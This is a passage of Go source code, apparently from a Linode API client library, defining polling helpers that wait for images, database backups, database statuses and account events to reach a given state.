lastEventID = event.ID } switch event.Status { case EventFailed: return &event, fmt.Errorf("%s %v action %s failed", titledEntityType, id, action) case EventFinished: log.Printf("[INFO] %s %v action %s is finished", titledEntityType, id, action) return &event, nil } nextLog = fmt.Sprintf("[INFO] %s %v action %s is %s", titledEntityType, id, action, event.Status) } // de-dupe logging statements if nextLog != lastLog { log.Print(nextLog) lastLog = nextLog } case <-ctx.Done(): return nil, fmt.Errorf("Error waiting for Event Status '%s' of %s %v action '%s': %w", EventFinished, titledEntityType, id, action, ctx.Err()) } } } // WaitForImageStatus waits for the Image to reach the desired state // before returning. It will timeout with an error after timeoutSeconds. func (client Client) WaitForImageStatus(ctx context.Context, imageID string, status ImageStatus, timeoutSeconds int) (*Image, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: image, err := client.GetImage(ctx, imageID) if err != nil { return image, err } complete := image.Status == status if complete { return image, nil } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for Image %s status %s: %w", imageID, status, ctx.Err()) } } } // WaitForImageRegionStatus waits for an Image's replica to reach the desired state // before returning. func (client Client) WaitForImageRegionStatus(ctx context.Context, imageID, region string, status ImageRegionStatus) (*Image, error) { ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: image, err := client.GetImage(ctx, imageID) if err != nil { return image, err } replicaIdx := slices.IndexFunc( image.Regions, func(r ImageRegion) bool { return r.Region == region }, ) // If no replica was found or the status doesn't match, try again if replicaIdx < 0 || image.Regions[replicaIdx].Status != status { continue } return image, nil case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for Image %s status %s: %w", imageID, status, ctx.Err()) } } } // WaitForMySQLDatabaseBackup waits for the backup with the given label to be available. // Deprecated: WaitForMySQLDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (client Client) WaitForMySQLDatabaseBackup(ctx context.Context, dbID int, label string, timeoutSeconds int) (*MySQLDatabaseBackup, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: backups, err := client.ListMySQLDatabaseBackups(ctx, dbID, nil) if err != nil { return nil, err } for _, backup := range backups { if backup.Label == label { return &backup, nil } } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for backup %s: %w", label, ctx.Err()) } } } // WaitForPostgresDatabaseBackup waits for the backup with the given label to be available. // Deprecated: WaitForPostgresDatabaseBackup is a deprecated method, as the backup endpoints are no longer supported in DBaaS V2. // In DBaaS V2, databases can be backed up via database forking. func (client Client) WaitForPostgresDatabaseBackup(ctx context.Context, dbID int, label string, timeoutSeconds int) (*PostgresDatabaseBackup, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: backups, err := client.ListPostgresDatabaseBackups(ctx, dbID, nil) if err != nil { return nil, err } for _, backup := range backups { if backup.Label == label { return &backup, nil } } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for backup %s: %w", label, ctx.Err()) } } } type databaseStatusFunc func(ctx context.Context, client Client, dbID int) (DatabaseStatus, error) var databaseStatusHandlers = map[DatabaseEngineType]databaseStatusFunc{ DatabaseEngineTypeMySQL: func(ctx context.Context, client Client, dbID int) (DatabaseStatus, error) { db, err := client.GetMySQLDatabase(ctx, dbID) if err != nil { return "", err } return db.Status, nil }, DatabaseEngineTypePostgres: func(ctx context.Context, client Client, dbID int) (DatabaseStatus, error) { db, err := client.GetPostgresDatabase(ctx, dbID) if err != nil { return "", err } return db.Status, nil }, } // WaitForDatabaseStatus waits for the provided database to have the given status. func (client Client) WaitForDatabaseStatus( ctx context.Context, dbID int, dbEngine DatabaseEngineType, status DatabaseStatus, timeoutSeconds int, ) error { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() for { select { case <-ticker.C: statusHandler, ok := databaseStatusHandlers[dbEngine] if !ok { return fmt.Errorf("invalid db engine: %s", dbEngine) } currentStatus, err := statusHandler(ctx, client, dbID) if err != nil { return fmt.Errorf("failed to get db status: %w", err) } if currentStatus == status { return nil } case <-ctx.Done(): return fmt.Errorf("failed to wait for database %d status: %w", dbID, ctx.Err()) } } } // NewEventPoller initializes a new Linode event poller. This should be run before the event is triggered as it stores // the previous state of the entity's events. func (client Client) NewEventPoller( ctx context.Context, id any, entityType EntityType, action EventAction, ) (*EventPoller, error) { result := EventPoller{ EntityID: id, EntityType: entityType, Action: action, client: client, } if err := result.PreTask(ctx); err != nil { return nil, fmt.Errorf("failed to run pretask: %w", err) } return &result, nil } // NewEventPollerWithSecondary initializes a new Linode event poller with for events with a // specific secondary entity. func (client Client) NewEventPollerWithSecondary( ctx context.Context, id any, primaryEntityType EntityType, secondaryID int, action EventAction, ) (*EventPoller, error) { poller, err := client.NewEventPoller(ctx, id, primaryEntityType, action) if err != nil { return nil, err } poller.SecondaryEntityID = secondaryID return poller, nil } // NewEventPollerWithoutEntity initializes a new Linode event poller without a target entity ID. // This is useful for create events where the ID of the entity is not yet known. // For example: // p, _ := client.NewEventPollerWithoutEntity(...) // inst, _ := client.CreateInstance(...) // p.EntityID = inst.ID // ... func (client Client) NewEventPollerWithoutEntity(entityType EntityType, action EventAction) (*EventPoller, error) { result := EventPoller{ EntityType: entityType, Action: action, EntityID: 0, previousEvents: make(map[int]bool, 0), client: client, } return &result, nil } // PreTask stores all current events for the given entity to prevent them from being // processed on subsequent runs. func (p *EventPoller) PreTask(ctx context.Context) error { f := Filter{ OrderBy: "created", Order: Descending, } f.AddField(Eq, "entity.type", p.EntityType) f.AddField(Eq, "entity.id", p.EntityID) f.AddField(Eq, "action", p.Action) fBytes, err := f.MarshalJSON() if err != nil { return err } events, err := p.client.ListEvents(ctx, &ListOptions{ Filter: string(fBytes), PageOptions: &PageOptions{Page: 1}, }) if err != nil { return fmt.Errorf("failed to list events: %w", err) } eventIDs := make(map[int]bool, len(events)) for _, event := range events { eventIDs[event.ID] = true } p.previousEvents = eventIDs return nil } func (p *EventPoller) WaitForLatestUnknownEvent(ctx context.Context) (*Event, error) { ticker := time.NewTicker(p.client.pollInterval) defer ticker.Stop() f := Filter{ OrderBy: "created", Order: Descending, } f.AddField(Eq, "entity.type", p.EntityType) f.AddField(Eq, "entity.id", p.EntityID) f.AddField(Eq, "action", p.Action) fBytes, err := f.MarshalJSON() if err != nil { return nil, err } listOpts := ListOptions{ Filter: string(fBytes), PageOptions: &PageOptions{Page: 1}, } for { select { case <-ticker.C: events, err := p.client.ListEvents(ctx, &listOpts) if err != nil { return nil, fmt.Errorf("failed to list events: %w", err) } for _, event := range events { if p.SecondaryEntityID != nil && !eventMatchesSecondary(p.SecondaryEntityID, event) { continue } if _, ok := p.previousEvents[event.ID]; !ok { // Store this event so it is no longer picked up // on subsequent jobs p.previousEvents[event.ID] = true return &event, nil } } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for event: %w", ctx.Err()) } } } // WaitForFinished waits for a new event to be finished. func (p *EventPoller) WaitForFinished( ctx context.Context, timeoutSeconds int, ) (*Event, error) { ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(p.client.pollInterval) defer ticker.Stop() event, err := p.WaitForLatestUnknownEvent(ctx) if err != nil { return nil, fmt.Errorf("failed to wait for event: %w", err) } for { select { case <-ticker.C: event, err = p.client.GetEvent(ctx, event.ID) if err != nil { return nil, fmt.Errorf("failed to get event: %w", err) } switch event.Status { case EventFinished: return event, nil case EventFailed: return nil, fmt.Errorf("event %d has failed", event.ID) case EventScheduled, EventStarted, EventNotification: continue } case <-ctx.Done(): return nil, fmt.Errorf("failed to wait for event finished: %w", ctx.Err()) } } } // WaitForResourceFree waits for a resource to have no running events. func (client Client) WaitForResourceFree( ctx context.Context, entityType EntityType, entityID any, timeoutSeconds int, ) error { apiFilter := Filter{ Order: Descending, OrderBy: "created", } apiFilter.AddField(Eq, "entity.id", entityID) apiFilter.AddField(Eq, "entity.type", entityType) filterStr, err := apiFilter.MarshalJSON() if err != nil { return fmt.Errorf("failed to create filter: %s", err) } ctx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) defer cancel() ticker := time.NewTicker(client.pollInterval) defer ticker.Stop() // A helper function to determine whether a resource is busy checkIsBusy := func(events []Event) bool { for _, event := range events { if event.Status == EventStarted || event.Status == EventScheduled { return true } } return false } for { select { case <-ticker.C: events, err := client.ListEvents(ctx, &ListOptions{ Filter: string(filterStr), }) if err != nil { return fmt.Errorf("failed to list events: %s", err) } if !checkIsBusy(events) { return nil } case <-ctx.Done(): return fmt.Errorf("failed to wait for resource free: %s", ctx.Err()) } } } // eventMatchesSecondary returns whether the given event's secondary entity // matches the configured secondary ID. // This logic has been broken out to improve readability. func eventMatchesSecondary(configuredID any, e Event) bool { // We should return false if the event has no secondary entity. // e.g. A previous disk deletion has completed. if e.SecondaryEntity == nil { return false } secondaryID := e.SecondaryEntity.ID // Evil hack to correct IDs parsed as floats if value, ok := secondaryID.(float64); ok { secondaryID = int(value) } return secondaryID == configuredID }